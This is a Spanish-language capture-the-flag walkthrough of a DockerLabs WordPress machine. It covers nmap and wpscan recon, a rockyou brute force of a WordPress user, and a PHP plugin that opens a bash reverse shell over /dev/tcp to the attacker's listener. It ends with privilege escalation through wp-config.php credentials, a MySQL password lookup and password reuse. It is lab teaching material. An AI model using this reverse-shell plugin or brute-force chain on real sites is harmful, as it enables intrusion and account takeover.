Paradise



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 172.17.0.2

Pasted image 20250630185630.png

📌 El valor TTL=64 → Linux

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

🔍 Inspección manual del sitio en http://172.17.0.2:

🔗 Navegamos a http://172.17.0.2 para observar el contenido expuesto por el servidor web.
Pasted image 20250630163859.png


🕵️Análisis de vulnerabilidades

🔎 Al inspeccionar la página principal, notamos que se hace referencia a un **dominio
Pasted image 20250630165252.png
➡️ Para acceder correctamente, agregamos el dominio al archivo /etc/hosts:

sudo nano /etc/hosts

Añadimos la siguiente línea:

172.17.0.2      pressenter.hl

🔗 Luego accedemos al sitio desde el navegador:
http://pressenter.hl/
Pasted image 20250630165612.png
Utilizamos whatweb para detectar las tecnologías utilizadas:

whatweb http://pressenter.hl/

Pasted image 20250630165705.png
💡 Detectamos que el sitio está construido con WordPress.
Procedemos a realizar un escaneo con wpscan:

wpscan --url http://pressenter.hl/ 

📌 El escaneo revela que el sitio utiliza un tema desactualizado

Además, al explorar manualmente el sitio, observamos un comentario dejado por el usuario pressi 🗨️
Pasted image 20250630165912.png
Lanzamos un escaneo para enumerar los usuarios del CMS:

wpscan --url http://pressenter.hl/ --enumerate u   

✅ Obtenemos los siguientes usuarios del WordPress:


🎯 Explotación

Ya que tenemos los dos usuarios de WordPress, intentamos un ataque de fuerza bruta sobre el usuario pressi utilizando la herramienta wpscan:

wpscan --url http://pressenter.hl/ -U pressi -P /usr/share/wordlists/rockyou.txt

📂 Contraseña encontrada: dumbass
Pasted image 20250630170834.png
🔐 Acceso al panel de administración

Iniciamos sesión en http://pressenter.hl/wp-admin/ con las credenciales:

Una vez dentro, si tenemos permisos para subir plugins, podemos cargar una reverse shell camuflada como plugin.

Creamos un archivo reverse.php con el siguiente contenido:

<?php
/* 
Plugin Name: WPReverseShell 
Plugin URI: https://malicious.example.com 
Description: Educational reverse shell plugin for testing. 
Version: 1.0 
Author: RedTeam 
Author URI: https://malicious.example.com 
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/9001 0>&1'");
?>

Luego lo comprimimos en formato .zip:

zip reverse.zip reverse.php


Preparamos el listener con Netcat:

nc -lvnp 9001

Y subimos el archivo ZIP desde la interfaz de administración de plugins de WordPress:
Pasted image 20241128115644.png

Activamos el plugin desde el panel, lo cual ejecuta la reverse shell automáticamente 🔁

✅ ¡Shell recibida exitosamente!
Pasted image 20250630171957.png
Una vez obtenemos la reverse shell, es necesario ajustar algunos parámetros para hacerla más manejable. Esto nos permitirá usar combinaciones de teclas como Ctrl+C sin interrumpir la conexión, y también limpiar la pantalla con Ctrl+L.

Para mejorar la experiencia, ejecutamos los siguientes comandos:

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115


📈 Escalada de privilegios

Verificamos los permisos sudo:

sudo -l

❌ No hay comandos permitidos, así que buscamos binarios con el bit SUID:

find / -type f -perm -4000 2>/dev/null 

No se encontraron binarios útiles.

Listamos los procesos en ejecución:

ps -faux

Sin procesos interesantes a simple vista.
Observamos que en el directorio /home existe un usuario llamado enter:
Pasted image 20250630172553.png
Como estamos en un entorno WordPress, inspeccionamos su archivo de configuración para extraer credenciales:

nano /var/www/pressenter/wp-config.php

📌 Encontramos la contraseña del usuario admin para la base de datos.
Pasted image 20250630172833.png
Nos conectamos usando las credenciales encontradas:

mysql -u admin -p

Listamos las bases de datos:

show databases;

Entramos a la base de datos wordpress:

use wordpress

📄 Listamos las tablas:

SHOW TABLES;
SELECT * FROM wp_usernames;

🔑 Encontramos la contraseña del usuario enter: kernellinuxhack
Pasted image 20250630173510.png
Usamos su para cambiar al usuario enter:
Pasted image 20250630173421.png
Probamos la misma contraseña para el usuario root:
🔑 Contraseña: kernellinuxhack

¡Ya somos root!

Pasted image 20250630174322.png